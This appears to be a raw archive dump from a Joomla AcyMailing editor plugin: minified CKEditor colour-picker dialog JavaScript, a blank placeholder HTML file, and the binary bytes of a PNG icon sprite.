CKEDITOR.dialog.add("colordialog",function(t){function n(){f.getById(o).removeStyle("background-color");p.getContentElement("picker","selectedColor").setValue("");j&&j.removeAttribute("aria-selected");j=null}function u(a){var a=a.data.getTarget(),b;if("td"==a.getName()&&(b=a.getChild(0).getHtml()))j=a,j.setAttribute("aria-selected",!0),p.getContentElement("picker","selectedColor").setValue(b)}function y(a){for(var a=a.replace(/^#/,""),b=0,c=[];2>=b;b++)c[b]=parseInt(a.substr(2*b,2),16);return"#"+
(165<=0.2126*c[0]+0.7152*c[1]+0.0722*c[2]?"000":"fff")}function v(a){!a.name&&(a=new CKEDITOR.event(a));var b=!/mouse/.test(a.name),c=a.data.getTarget(),e;if("td"==c.getName()&&(e=c.getChild(0).getHtml()))q(a),b?g=c:w=c,b&&(c.setStyle("border-color",y(e)),c.setStyle("border-style","dotted")),f.getById(k).setStyle("background-color",e),f.getById(l).setHtml(e)}function q(a){if(a=!/mouse/.test(a.name)&&g){var b=a.getChild(0).getHtml();a.setStyle("border-color",b);a.setStyle("border-style","solid")}!g&&
!w&&(f.getById(k).removeStyle("background-color"),f.getById(l).setHtml("&nbsp;"))}function z(a){var b=a.data,c=b.getTarget(),e=b.getKeystroke(),d="rtl"==t.lang.dir;switch(e){case 38:if(a=c.getParent().getPrevious())a=a.getChild([c.getIndex()]),a.focus();b.preventDefault();break;case 40:if(a=c.getParent().getNext())(a=a.getChild([c.getIndex()]))&&1==a.type&&a.focus();b.preventDefault();break;case 32:case 13:u(a);b.preventDefault();break;case d?37:39:if(a=c.getNext())1==a.type&&(a.focus(),b.preventDefault(!0));
else if(a=c.getParent().getNext())if((a=a.getChild([0]))&&1==a.type)a.focus(),b.preventDefault(!0);break;case d?39:37:if(a=c.getPrevious())a.focus(),b.preventDefault(!0);else if(a=c.getParent().getPrevious())a=a.getLast(),a.focus(),b.preventDefault(!0)}}var r=CKEDITOR.dom.element,f=CKEDITOR.document,h=t.lang.colordialog,p,x={type:"html",html:"&nbsp;"},j,g,w,m=function(a){return CKEDITOR.tools.getNextId()+"_"+a},k=m("hicolor"),l=m("hicolortext"),o=m("selhicolor"),i;(function(){function a(a,d){for(var s=
a;s<a+3;s++){var e=new r(i.$.insertRow(-1));e.setAttribute("role","row");for(var f=d;f<d+3;f++)for(var g=0;6>g;g++)b(e.$,"#"+c[f]+c[g]+c[s])}}function b(a,c){var b=new r(a.insertCell(-1));b.setAttribute("class","ColorCell");b.setAttribute("tabIndex",-1);b.setAttribute("role","gridcell");b.on("keydown",z);b.on("click",u);b.on("focus",v);b.on("blur",q);b.setStyle("background-color",c);b.setStyle("border","1px solid "+c);b.setStyle("width","14px");b.setStyle("height","14px");var d=m("color_table_cell");
b.setAttribute("aria-labelledby",d);b.append(CKEDITOR.dom.element.createFromHtml('<span id="'+d+'" class="cke_voice_label">'+c+"</span>",CKEDITOR.document))}i=CKEDITOR.dom.element.createFromHtml('<table tabIndex="-1" aria-label="'+h.options+'" role="grid" style="border-collapse:separate;" cellspacing="0"><caption class="cke_voice_label">'+h.options+'</caption><tbody role="presentation"></tbody></table>');i.on("mouseover",v);i.on("mouseout",q);var c="00 33 66 99 cc ff".split(" ");a(0,0);a(3,0);a(0,
3);a(3,3);var e=new r(i.$.insertRow(-1));e.setAttribute("role","row");for(var d=0;6>d;d++)b(e.$,"#"+c[d]+c[d]+c[d]);for(d=0;12>d;d++)b(e.$,"#000000")})();return{title:h.title,minWidth:360,minHeight:220,onLoad:function(){p=this},onHide:function(){n();var a=g.getChild(0).getHtml();g.setStyle("border-color",a);g.setStyle("border-style","solid");f.getById(k).removeStyle("background-color");f.getById(l).setHtml("&nbsp;");g=null},contents:[{id:"picker",label:h.title,accessKey:"I",elements:[{type:"hbox",
padding:0,widths:["70%","10%","30%"],children:[{type:"html",html:"<div></div>",onLoad:function(){CKEDITOR.document.getById(this.domId).append(i)},focus:function(){(g||this.getElement().getElementsByTag("td").getItem(0)).focus()}},x,{type:"vbox",padding:0,widths:["70%","5%","25%"],children:[{type:"html",html:"<span>"+h.highlight+'</span><div id="'+k+'" style="border: 1px solid; height: 74px; width: 74px;"></div><div id="'+l+'">&nbsp;</div><span>'+h.selected+'</span><div id="'+o+'" style="border: 1px solid; height: 20px; width: 74px;"></div>'},
{type:"text",label:h.selected,labelStyle:"display:none",id:"selectedColor",style:"width: 76px;margin-top:4px",onChange:function(){try{f.getById(o).setStyle("background-color",this.getValue())}catch(a){n()}}},x,{type:"button",id:"clear",label:h.clear,onClick:n}]}]}]}]}});extensions/plg_editors_acyeditor/acyeditor/ckeditor/plugins/colordialog/dialogs/index.html000060400000000054152455305310031400 0ustar00com_acymailing<html><body bgcolor="#FFFFFF"></body></html>com_acymailing/extensions/plg_editors_acyeditor/acyeditor/ckeditor/plugins/icons_hidpi2.png000060400000076154152455305310026640 0ustar00�PNG


IHDR �^% K IDATx��y|ř������ƺ/K�$˲uX��K�l��d	d�@v��w�]�ew	!�c�
$��cɆ ��`����eK�.�{���~t�x��K��f��z�˞QW�g�������)@�S�dp��9�����fp�f���Z�����"|�X(��)��K��#���}
�"cc�1�@0hu�\������`hx{���Ox����"�~?h(Q�c�R��0�@[R�N�����8�۷� s�F/
A�y�r�~�###�|`�A��b��f��h4B�ӡ��	��������
�c@E1R8�����l޼�:�k��v���˪��+�f3A��d¢��?���w��$��S�2�p�3� �"���E���(Z�n]���;�r� (��C!L�:��坑��E"c��s	!�@)�[8BD��;L)��P^��c@�0Ơ7�@B�@�&��[��Ɯp�@ ���>���]�8V�E鴼�����ǁ�y��\�|{�,Y"$�;�N�� ��a��|[�s�v��аh�Bp�P0�ۍ��>\	�����f������F���bAqQl6� @�y�B!���><�k�����{�H)�<
B0�� ����F���A�.�H�}FM�X.��y�</e�����ɳgI	�dyk2(ִ���D���K�.�㎽���]���]n����ٳ���8�V���"477Cg0��x���Q�E@nA�?0�����)�Z�r�����rss�C�ԩ
�]G�b|��/C�_�1���QǷ��kӦM�zx��FC�Gmuu��Q׀H)u'5B~� �^�4�Ji
w\�/\
`k�5@H�H(2����T��K�.��ܼ<^/�UJ�Y����јB/YVYYY��j#W���~�iSH���JAd��b���� @r@i5���%%��ͅ(�(���Egg��k��HW@,F�����p��5
L&&9�(.*�� ����w}�K�|<jL��'��̚��@�yL����󡿿������#�����+=��#" 
�ш� ~\9��G��=�,�dyg$��c �e�@���^�sό3<�?���j�����Q`�Y��j1C��� �G	!�N�&5�0|�0��!� ��� o�Q�uC/��(�7�xL�&]{�m���o��7&1��I��P��կ�@��
@����Ο=�]�y�P�d3(
���080�?n�\�*��k��yf����������^@��|>

��񠧯Ϸf��'k�{@{����ޯ|�l6�A���È��ۛ6�u���O�Y��3����G?�q�l�� �z����>�.�%U~Y7!$�:���Ϭ__H���-�u��$�x���;�e���Ν��j#ְ�==G�g��X̫��Ї�w�`9��g|x�,���y>�_���$���).^L!b?�x<����vB�zG��H�N;��z������=�+۬FW<?�������A���C�Kn��Z�� @Ex�^�r�mYۅF%�2i�RQn������$��3h�����v�(��I�R\<�N�"�Q	h*.,���7�`ť��1����E!������n&��"��aZ��8?��G%����������1�L���B~�әLC%yTv�k4�Bȣ�9�g+ �9$+�._n�k��}؇D��n�-^l���xǎ��
H[�I��	� |��<�~?<|~?����_vf+ ݃C���8j��#>�0ѾA�v��؏	!��VDJcX��0ޅ�Ȣp�˺	TTTTTTTTTTT��[,Zx���
@�JE��@���`'$s��H1�>[w�����TQRR�����ш�# ��󡯯����pA�;(Τ�F��6͜��Y�`1�9*�\�
9��N����q��i4�B�3?��
�d'E2�.hlm}hq{;'�<��"3�‡(��8Z�:�:���4��An��ֺ�1	���Y�����r�`2�P]]-6L��ښttt��ٳ����?	/]J�yZs�,��D�d����Ǭٳ��?�`�In�…���+�p��䓜 �MJ�>�\w㍗r�V0Y���~��sB^n�ǐz�'�Vה@��^	`�<9���R%�Հ]�р
�4���F|�{�;��O�O�H����4�8��2���1�V�P
0���?���O!��� ��!/B�B\��H����o����r��p@��H�H9N<w�x��{{x��cH�����@gO��36��
a0�I�98��F�C</\����A��bo�p��y�SP�I�����7o^��3�p&imI�C5
B</vvu����8��!�;O��JI���E}��Y������7�q�A�|��^�w\$�
g�'�z�D�N'j�Z.<����"�z=�F#�f3L&t:�Zm�|c.
�#.744$�|>�O�^6'&`��!�g�Hұ�y��^��;8��������`0�9�N�?�!��"5� �yHI&أ�>����o�[��tB�Ӂ1�P(�ǃ�n��"�ܪ( d�\;�!
<�y��isrr"��z��Ž�v).'��X�eJ �B^#�|�r���M��E;4J+*��i���3�Nx��d�B|���G��V+u�����rN�H{7�RU�U��sCCC7�>{��K==}N��qH�cs��L�Ԑ�����A������bP^}�(<����fVQP���11
�~��`~�� �j��a��b�p`�O��V��G۶�F�~T5088�!h�@��qZ���Y,p�l�|iB8*���e~.�=/�#GH�	E�
x��G�?���g�.h4��f�ziE�F�q��!\�f��^}U(�4��Ǔ�ɽ�����x��׹��N�q����x�"�V+���QXX(����|E,/+��х�����I%�.����~�����$]�q
D	�B�;��dH/$%��b^����UTTTTTTTTTTT��H�`l�e�=�hܐ�I#�p�4/�mZ�-,���`xúu�N�>���mێPh
�x��Sc2m^���RUU��==x��6X���x�2sf��`@(DuUnX�f��dڄ����5�7����2�~X-�M�\�,I0H������z�`��p��W����r8�6�浫V���F�|>x<����O�
P2T�Nol<_����p8`0����v���-{9��/[�b2#N���!x|�]��U@�2V������`aaakNN�z=t:<Rx'X�ֈ9F^Q�k߾}�<D���
0x������EEE��Z�6b�
!GFF�r�v�ٳg6�?�5�J���l9r�H�t/���1fØ
W'����V�$�#gϞ5��hO*@a&�T����i4���d���p� ��BF=&3R95��%��-f�9��TvBj4��cbhx�w�P�5`,�P�J�Z�Y*�hD����W����l����r��R�
��W���ϟ�b2"�ڥK�022��Ν;�v���400�wpp�`<��f�b�����_T>o�I�7�'śj�⪪�tZ-�@�:����<y����;}���������\�wd0�X��gOxf�6��9����`�Za��q���WW���������]��8�\.������ӳ��3�x�…KJJJ����V�͆� ��bd�cLT���)SD�Œpg��el_���i4��/���ɦ�W��1#clc,x�g?��N��0��v��ض�s�Q�z]QYI�LI�Rg��K�l��?/,"��Q�(����zꬨH)`c���Y�ط�
�񏌱�8]��q�$�0c-//�N��:�p8��n���������5KE�)T/8�\�іc[m�&�t������e�@)r���JJ"�M�>��54�jw8bBIQ��u�'���(���)|ބ�D�����������ʧŨ���K�����l6�b�a�ѣ�ٹsb�@���c��ի���B�g9M\
$�
B�r�	{1!��J��d.�SՀ)�f�;�����Zx�n��ވ����.�O�`\<&���^�x1M�r>/���7�[�"{L��m�fd�1���k����D�\�h\���	�����bž>/~�1�mhhy��D�?n2�Q^ZZz��k�
��l��6�Y���b6#��cph�I�^�<s�
КLknwqQQ�
Q(������;
��	�D��RBV�W�o��}���{)��999���d2a�UW��^����F{L�pM
HV��D����d|<&��1�z���������a�ɖӧO7�������C ��`���g+`\=&�򘌚�򘌚q�Z��xLTTTTTTTTTTT�א�D���\Hi�i���h4�0C
���P��ImN'�m%���v��ͥ��\j��)������o��v�:�0�	N����_��_>mn��:鵛�Ï~�ä�������h��h�n��/O�&r�"�N����1���-h����+ ��v���cj("�
Fҧ9?���f˲��K_�R
*� r
�45���~1����E���"��3k�p�4A�|��qj���	�ے���9ܛ ���x5A�SQ��u*�˻�B��S;3�D�&�0|���s=*�g4H��H���i��@`X���ʻ�BySM�F��	o;.�<|>
����	�
`���R�ړ�o�X�"�I�n7��7G�� xL��ZmC��+JKk�,@��n|�_M"0��F��� ȮQQZVvg������Շ7�
6J1G'�O��t���'�"�O���h�n!���<ZU[��|<�ǃ�˗�t��LB��[cK�<��8/7'G
���cdd.\����hD�Á�ɓ#�c�ǃs�ϻ.ttB�������}�Ѻꊊ���������͘�Ѐ�`8aG���A__�p�W�rIv�θ�Zx����S�0Q�
���"y7y�ۉS�Os9G�ɩ��e*��;�>ܶm�K/��:t�w��9����1�L���ROcc����n���>7[Nz/!�2)#N�؋��ı�e����
-�������!Ū��h�Ѥ�4��Mđ�*pL�M��P,<gpG$r|�0�1�(�L�Q�4F���&r}��������������
���RH֏svx@_��|�BuN�����R"^@8����m().Ƥ�<�����v��/x-M�m�j5{֬���"Lr:144���^�ڳ�B�/@
/� �nu:�}�*mVkdKB�Z-B����|3�}����^`�4��__`�� �dY���x�x�����fB�m�j��
��U�F��~������0���W�A�S)~�#�ٰ��d0���!F���^�o��	�?�	"���V�z�gRSJ#3��� DA��k׶!�����iH���,���%�#o�u555!����ۉ���9�H�V8���� 
E����1����!6�Gj`pdd?��1���ܔR��ɯ�����PT�?Jy��Ax=䖕
�4��;���B`�ȅ�π�y�\.@2<����g�?�����B���^�P#�>~��ї�����
�"������+�B,��;w~���B��\.�y�Pؖ�?00NS��?��֙����󡧷�s�\\(���/�"�;����W������k�ߏ��~\�x��B�P$} DiII'��P���3Ƃ[�ne�^{-۰a����U�(��cO��m�&�f����٪U��
�u�����͛_�O���_4>��[��C�z{{}�/\8���G�!�F�}��WOٓ����;x������x��W*4Z�H)���}�//+{��I�/*=!���~�V����=����>��j����J��q�����nH���N��5


9L�v������o;/:}r;!!�����y��w���L��p�n7:;;�76n��V&�k�Ms�\��Ι3����<�;�������%K�Һ�:���=w�1�QF)u���,��MM4''����L�r�(�����肅��ɓ�yd(��ߙ��H�+*�y�_1Ƽ���L��2������)SFΞ;�3�.2�FN%�b�ɡV�mc�#��9�_�A�zz���Cr�7c�$�,�W|�I�xy@�Ɯ�uO�=x�<ݟ.A���I��~i����Fৌ�9�ܐ"���&����������M�J��d���RNB$����Y��V"�n��_��d�����WA�^���nǮ={�d�>�UDD����|�.��7�H��~�)�n �੣G�$""�� 1�H���6�l���ID��9��@q�K����;�xLd⫯r"c�9vlT""�(�= ��;cw�y�c����s��;N��ZDD@��ID�u睏i4����~��ߟ��ȋ'�t�eEx�ߎ�Ǐ���4�yI���h�1�9y�1�sV�#�Ö�ъ�t�����
���NNʙr�+!���?f" �&X�r%r�Fx�n�|>���Q�Ή�����'2�*2��B�%�}�a�_�ܯ����砂�`�ٳ)E\��
�Ƞ�����C�~��́�;ϜI*��@�n�(�Iy2)���D���_��c��`׹s�"���6�0f�K��w���_��{�bGG���QxEDDy�@���/�}7�r�=�RY�&Mz0����ˤW�
6"p4�5�n��044��S�&���/�P�k �r�
���d,����n\���Z��ա����˛�����hD�Sl�H���#�Y�"�U�9�RRHs}����$2j&��fY^���8>�h���g,`�0]�O]@ƏPl��0��g�D�4XSa��/匛@�y��f jt�=�a���ϼV�F�0��I�*�I�{܈�1���pyl�0\`��l�f�ī��������	��@����_��T��/P���@����_��?u��@����L��,RG�OG%�͐B�dͦ��]G
6���tU����7�z+�^Ÿӥ�6{v}]M
>w��3���|&ib�h����7�(*(@���N��(��|^/�f3�_�f5���(�_nX�v��b���N�K��V@qq�������s��[�l#x�̶�����! 9�"7������z��<B� f���bʔg�K������sg�B(D���Q^^��n�V�c���ݽ����]���r�r�=/�H�d�)�9��^{�5F^��K����<�L�M����.�+�
֯][��X^Els=1^^�vm	�w~Gpv���������o�{����'"�}4�֮mњL�E��̺ի�i��H,�P(���!l|�<�d-�����n�}���P$�
�f�`���7h�Ƈ��|s�e�w�������f�S��yJ)A�!�KX�xq��`hp��@��B�� ��ȑ#�b�̙\X� p�ݸ��y��'��XLI�j:����l�>}����i�ۡ�j����…{�^����=r�!�I�|3�!��'��;;;��^o��pؠp� �ߏ����7ntؘ���"�U�{��!ahh�%B$�Ot
�\���/�pfJe���S�9���_�r�����T8�SB�%�?1}ڴ7ʝx�B��v��'N�h�dtt)9��B�K�D���[˒¢��jij��q���Q�8�CNND�k����
 �&��
��)(�X^� IDAT������<<n7zzz����w���:<X�q���PR\���kxx+��dfco+1��/�Z���R��!�9s�s��o�Moh�
�ϟ?2�|keeeY��	����?�pp���Z$�L�'���,���ic������agg�].�g�������ʳZ�;<n7(�c�ܹ��D�w�	`Q�5PB�=�3f8l�H�<�<����z�

�$�l�X������999��ؠ���p��q��������/.0�GȇO��g����y������y�z�m�Y�n}�p ���L�!�؇�����g�yfWSc���93g����1թ�>����.^���_u�,����=����ŋ)�o*�-�6}:]�`]�|yL����5{6]v��RƤ5P��p �_~X)����ZXPP�8iK�f����������st����
���%�IcR����_A֬];H�*!�O��'o���tz}�����8���;���qXx�U�Ӯ\��&������d�g�ͮ�2壦�fZ][�C�X����h�0{�ZZ^�?��S��+
KJ�577��)S����CF��k��9���l�%���`e��5���O�S��i~a!�\YIg46���R������B���Y������Hk�N�y������665�¢"���}��}I��������f�-,,�N�ӟ��sx���a��cuIҾ��jnn��p8�i^^���p8q��n9�Ve:E����N|I�S�R�-cR$/���1vG�£2�a�=%�+��T���$i�2*\EEEEEEEE%
�_��T��/P���@R��.��T��/P���@����_���������hҾh��6��!�^���>3�,[F緶��[w*2�����w���;ًI�����EtF}=�z9��sx�^nF}=iU�Q�\��RܜM�������V���?�B�ږzU[4'�b�JzB�q( ~�kN�߯a�qs��y�v���A�	 �`�T�~榛
���z��<().�<.�z��c�^���+).��[o���?s�MM[�S�^�Q]]��K/�f6G��~�o���x�=�Z ٺc��[�?��#�W��}>|榛p�̙���Nj���log�.dL�T/��$*]cl�������	M`4� �7��Q�9�a\��G���p"9�����dJ��	�N�Mu0�{B���N���B�,\��B�D�F\Ɇi�����m$�d�N���X$I֮'tB�>�I;�
�SFh�?�"6}$�@�҄��G._�f�Z��"�'�����`2�z۶����+
H��Q�����t�ꫣ�3�U�hussۙ�( ]��Պ�{4eF�nX��]�Y׀��LcRh@�K��U �bL{�67c��]��v<���r�K�r��L@�N��b�t8��Jzv"�g�����Yw±�����׀(ƌ�ΩS�g�C��\.?~9��2;�l�V������t��b
R�
��)�'�Ԃ�|���`�E��/�A��TM0��
[�z��Q|����(�iSi)�h5���a������[T�?Sʿ�k�ilre%���_P2u*-��u|���Z2uj$�Ro{�ؑ#�?���n�����n�R��#g}�µ������dO�ڜ�=յ�R
g}T��2mNΞH~�!���f�`	�&��ݳ_�җ�w�"�R���&��A����o���)S2J��ыپ#(~w�*Q�/�Cf����5��eZ��@T��/P�	���_����/P���@����_��T��/H���/PQQQQQQ��B�y���0H��q)�1� �C�6�ٙ+ቨ���/Ǘ���A@�˅_}u�r�KA�Lp���@���p�l��z�%��8�vc�ƍi��ş_��z5&�l�r\�l`�(�ۍ�jP�#���m���QW�U�W���^��0 ������0��=�#~^�x
E>_���5��DC��jbD[®a���\����ODW��(��D�R�w|ݭ��87z�f\��C��������㓧���������_>V�5��,|n7�R��T1��Xu�'k��`6�`��0��1|���ӦMj�Y�r�(J��b����j�7�����TijV!�NB�.��S�nL0�6f�.�H����S�mil�?x��S'N�/�R�V�<�R�4�S���EW]���ÁE��X����p@�-Fͬ�\q=��t��vGf���ӉK�����_��>@i�D�{�|ww7���0<4���n�{�	��%f>A@�†����W_���G<xd��Wo|�;ߩ���(���is{;�:��y�wdX�<���r��H���OD}��<{~�UUUev�r��d�Dиl��%��

��,��W-_^���180�Μ9`{�1nz��> �0FZ�޾L�q�C!,�;Wo��{Q�R	!1�Č�)����+����;�99�~� ���E�
tf����3$�
�h(��~�}��4&�a7)�S�_R���z<���V���E�fC�f�!fjH�8��v�l��_�3s����׭Z�WVY�B\m�6����rx�����Ç�lƬ����߬�+O�gʳ�h�?���� ���Y�PQVv�������ڕ�.l���cM�6*���~4~-JD�H)��7��g̜y��`@����  �$,_�$�رc/����d4���>�(������J@��hl(*/�����H�`�Ez1!�����i���kB���.`�$�s��^���h!���I�#�1k�A���f�?����H͒ꗅ{s6"D�b�yD��~x�n�������`�6-AA���|���
�0���wg	��oQ����A�s�����������2nl�l|�T��`͛2��hӏ�Ť���E�᦮��P(����h��y,�M�DL���)�>�p�>��b��1���Q��o�Ȇm��ذaP���Ho�I^�/�x�C�M�E�q5����q�2ʰ�x"Q�ن�m��:�o��H�nv�?T��6*���'�N*@���ք*��{y�ذ�n�$�K�'"} ���������ye�a-����ic$!�!b�#�*1.�_l��֭[W7��H3��4A}c��(l�S��"��G�F>
M�2c��|^/��̓��(��Ñr��գ䫀1�P��߿fKK��`�<{�R���!�2ę����y�]]N��a��vd�"ս!҆�mm� �v�[�����1���UU��@����)���-��F	;�f, �q@�FCpk:c��^���_���������&��T
KK���Q�@�oCoo�sgWƌy���|���<A�	�
��܊
�u:?��r�׻�n����~�$�Z>㱶�O΍C>**********Y�%�!F���l��w�sO%��OE���\8l���=6�y�)�{N�r�|�p\|�� �����p@���hJc#N�I�sMc#NE}��,X�(b_H�ѠhG��GJ����!���>���2��AQ��mH���GKR���,�O�Rxa�u�LHld& -
Z[�{�D��hpidgO���!c���#!B�m(U��y<i�����&Kn�n����k8n\�@��7�p��WW_����3�Z����		!;!B��2d0��im��l��d��� �����ׇ�i31���iӔ���!D�.�ϜA��X
Mb�X�***Z��^�ۛ6m"���G9D'PL�WT$<tH��L%�2��ϐ-�~åJ'�6�n!��/ęh'r�5�{	!1K��O���&j| rۏx��xQ1�!_P�>�U3a�@24�ɮ/i��@�-/3�@��\�����N��
#��y���c='���8@4�x<�\����=PQ�t�xA�g��?�|�|�������E+W�����C�m����]ƚ�X�o����@]_��/P�|*�.�)�/�ԧ�� ��x~)�P��s��$P��yp�n-��z}A\'TOf��aݺuu��#�ǘ�(��H>�,�&�	×.A�Ѡ��;�G�#�ϼ�8��^)���*��s�8m8���2Q̨����==-��3E�p\Ɓ�N��^���0.�2���w�q ����>�����D]_��/PQQQQQQQQ�?�a��Z�yS��/X0�MF�bR\T���ұ�?z�#
M��^�P��0����"}'��Qx��h�?��DB�]@�ł8C��g�GQ���6"J�1v�-r��$G��HnU�g8�TM?	5'�� Gs+����9v>!c1�7!-HnS����tBfVg�_�D@�mjS	�q��c����LmD��V�Q��Z��p@���W]/��Y����Uf#m���W����'���ZZ �B�|	q�D�p�СȹJ��t� �Zt>�v�^y�_��J�ɤ=u�R^�S�	�<��׭�����>uj IˆE�
¸�/��1��;��l�š�`}[[t��$}n�������Y��y�Fa�Ŀ�R�,ƒ4�Ā�N8^�@ƌ�O&�P��*}�0.�@6(������!���q���+�T>���ƶ �y q�Ѹ?ē�E�N�XP�TYy��B����X3�e8�U׀��@EEEEEEEEy��h��`1���kPX�N����
��Z�.w[rr�++*PZR�I�&�ҥK�xG���[��#.�!�n+f��%��>�A0�w���I�F�ܭ�Xnhij��hh��f�6j�����F����������?�7�H�O/��,`�-��<��w���',��0a&z}k�����:L�2���!�2Z�7�#��1���������k)����w&�X,X�h/Zd���]$�"�Z-

@�}��N}�ޒ��}�ܶ6l��|}v�J)B<�8�ä���.~�@ f��t��1i���D�*�q�}��F0Z�4ƪ�F� @�׍���hG��/&�4�pT"��qv�b�훕��H�	3�`& ��R:�i�������c����#��^��	��
Ҍn�
�������]� @h�2Q*�#��m,�A1DQ�F��N��V���XcV���	<�&4�H�N;2&����<��n7��F㩅�mmm�7�|S8z��l6ט�Vm�P��6\N���y�������O.+˳X,�h4�����z144���9��OZg͚U@�ץ��3���R�}���̡��ݻ�oDz��Lmm�yA�-��jA)�����੻�{��~��2�����i���B�55{{N��
�fϦp��5�e����g˺�?���O?�g���cC�2~��0Ɩ)f$���;��2s&�2sfj�"c�)gNY,�1��1�׌��i������Ÿ���iussD@ʡ�1fP/���/PȖ��&
gT~"����W>ƅ�#�D?�]qi��&�O��7q�����.2��B����-�Y��YEEEEEEE%+T�u��e���>�V\*	����,����N-+).�����q�yx���x�ϑ���W�Wb'�����=/�[6lКL&PA�ĝ�p8�n���������Y�V����n������>޲E���bT唕=��5k���c�$�N�Ŝ�V̝3G{��雎�8q�َ�������mZ]�qN[��H����hs��c�+��yǡ��UUU`��{���	���PTX�ļ�(�	�k��!�F٢N\�MB!B��pD\�`�("7Y��	���|{*b,l��H* >�C�)}�Z@����Ӥ��hAi�U���i���HY��D��^��?�*�b�0�*;�¶�x�@���ES��2����#"����q��F��q�8�ޑ�� �T��HT
�<��
��#�|�SӦM���k��v��m۶�5N���f��h4B�Ӂ�c��ń�\����l�M{

��{��'��&9���s���/��ڳgϑ������ݔ��k�X,��t��]�^���?z��c�]�$0^@�=�hʔ.�:�
�!�|P��<H1�������>�g0jL&��h �^���j?<y�d�j�����Q�$c�U1�t�2ټ�2�m߾}��O?����0�������`�g�=��&M+$G�%�I�k�Ƙ3:MB5���G�,�R�pL6�Ǡx��cck���^M�'�+.�S��x{��������/PQQQQQQQQQQ�����B��u�?�8�K�����M4%�h��:u��|�Fh5�������>����O�q�tx=��٫&P�@ ���~?~|(�����hL�w�[��.[��멧�z�16’�a�:����lm�6l�7HE�}ꩧ^Y�lY�uk�R���N��c����}����{��FQ�̚5k�|)�O?�x�t�.]j5���6n��/��S�~�^���u��>���Dٛ,v�V������V�E�8�{�x�`]�n��^��j���������?��g!��ۖ͝�p��v#
%�/&�$؇�z=l6�GF�k��]����8����LwwO�ٳ�1��gϦM3gR��mPYWG�-_NO�>�'E������{�-_N+��,����3i�l�L4:��ܾN'Bc�=
��y8����N]�4�B�`��n�Tc��?B)Ŵi�ZR�c��6mZ���H�iv;B�`�����p��H���[�O?RYY�m��h4�X,p:��X,�׋��Ax���0�8w��Çł�X�q�ù���Olj�3�:��.����ڷ����X���X��655�cl'�����:g��ODv��4���/��׷ryy�}�7lx���2�@.�.��@ �i�_�k������ߺ�����c�Ҳ�}i�˕������������WTT�Ҳ�}L�ܥ(�1�c���'vWWW�6�L]9994�p8�h4�[n��p��r�-��F�p8h��&�����z�O�xb7�|�(.(�Ed��#S�a���j���x�1v1U�Q�qQ�K��UTTTTTTTTTTTTTTT�p>5�V��Ժ�%��\M����CG���ѣ?��i���А�_�cph�O��AH�/X�z5]�ti��O?��_p�
7Ж�3i�̙�nH�/x��_Y�tiתիS�����g�O�֭[�V�^�/ظqcZ��E��&����7�T��t�Z-֯_��8���������֯_�E��:]�� �������hǶm��9s�rrr"����,�_=Ӟ����a�޽;�/h�?���ŋ=������tFKK�_PQSC�,[6f���Ki��)AeM
����hG�@o0@���� 7/� �����	ڲ�_����+rN�\�rss����	i�6mZ�x������8l���r��Y�����!݌�vQ��w�� �4Ο�Q�����o�o����̘�����d��lF0��߷o%�H<��BƼ�YRZ�Y�Ѵ���m߾m[�<��.Ƙ�S	�����Ϝ=��16����UN��+kjnc��;�Y���Qo0�nO�G�ث�'�i�f�wݰ~�2�����c��}�������|3�u:�9���"��pMm-���i�ԩ�_)	��_��������;-u��G�/_N���zjw8����~�z��n�:�h�"�6oަ�.�Y�7����']�� IDAT?�]]]��b�t9�N�}��R��AM�D�{�16T^Qqt���tݺu�������z�ڵt���ta{�r�|=���	(��h���N9ŤE�����马����l���AaQ��q�w�}��|wx����MY�nГB�	!��t��.�s�N�*r��A���#��J�'�Xa�9k��ϟ4i�#j�幎q��5���~��{�w������ɓ\f�ٮ����=�����E'ϩݏU���W9y2����۷O<w��	�ǃ��6�YP��
�Xf�)�����,�3i�ܹ��>��/(8:k�,�l�rj��
XN8^5�[�ш::`���ܱ#��8���[t����;:�c�85N�J0��O?�����}�����[M3)��>�����2�no7���"�G�=,�1�c
�����c��'b3c�i�WQQQQQQQQQ���Md�[o�x3I^��d)�_�t���V,]�#����ĥ��������%��Ů��7���*��58}r�1�	�5�~����_�{��z9�h�Z�(��?����}򸯼�hhX$�<|>�� �� |>�GECâ��#M [.�]��p~�Á@ 3}��}�8�����m��RG�!D.y׎	v��t����,h�R�� ��‘��~�N��o.��u�ƢMM���"��,�}>�{z<�,�?"V�o?t�Rz�رcǎ��;t��[�L��
��ka�)�%�y&�)�(�����O�n`rM
2�Dt�R�7V�����vgn.`ph���
y<	w�q	<�b�R�A��8:�
�b�R���_qw�qo/.^$��!c�/r]�s���

B� �^y�C(��`H� �r���0�eC������w���1w�a������)�>�g��"{N�����j�J��<.tuy\��W�n����c�8|����8�V���PEEEEEEEEEE%+2�p`��%�@V������ų����ϐ�v����$4A����ZVdk���gH���������_�p��Y���
���c�3(	���?֑0A@�����  [{���
���c�3$���?!wC�ޯ�
UTTTTTTTTTT>m��gy$�Y	�D��L�
�-\x������mۀ�m��p��7�j��;��<z���L�������Fif��c�h���Zaj]:�����ϨT�\^/t
Lx=�#�YI-$�� ���b
��:��_��)�)�ǵ�Q���&
���U3�?Ix�+V���I��_†���X
x�
�����*哰u�b�u����N���b��nlj��>�Z�x���L�1C�[��O�eA���m9�T�x�
��1*YS��IY��K}�؋�WԔ��=2�ǃ��.��ڃi�W���™S���j�?o�FB��%���1awC^�0�A��N�%N\
�B�/\��b��c�G�y?�(x\�<�&��Ի����������ʘ��pdj�ڒ����d�u�V�f�a��c+����w�K-���lٺ5!~QR���h�]}�P�������-:m�@Zn�^���LYI!$��}�,)ik�q\drk<���ͪ|�sg�����w�,)i3,[�IZ�İ_�ϒ�V�П���Ȥ���+NFv�$���0;?0>~����鍍��nO��_���R
>�R�!���h4F��:o����Sd;���Agg����B�r?�#��8}�dJ;���^�%��dYP�$x�%����`p����?;�x��P��TTTTTTTT�(���٫V�\��K���(Ż���c�&�G��_��z�F1*����[oi���b�ш<�����(�ॗ^�y��߽��+Λn����/
����~oU�*����m�,yC�eI�W0�a	۰8��|�|I��8�!�0$$yf2d 	H Llx�f3��x�wٖ�޻�����vuw�&������G�����u�:�=�8�v0:-+ HR��1|�P
���@iI���{T���d�SJ@)]���{� ������;�	@���N����8?'�|;�j�����8I�b�SJ#T�L�D�b��Gi'��KV�N�u�<�H��b9_����Ѱ�$A�$�,C�ePJAAޘ1�
7�,����n��ټ1c8-��V����P�A E9@�[,�M�=�	*��M�=a�X�o����r�:!��v��o߾v����� �;����o���eP����喟Zԛ�ZPx<�ڵ�}��}0�vGD�
����%N����]����-����.��vG�,���6��XC�e�I�����ÎR
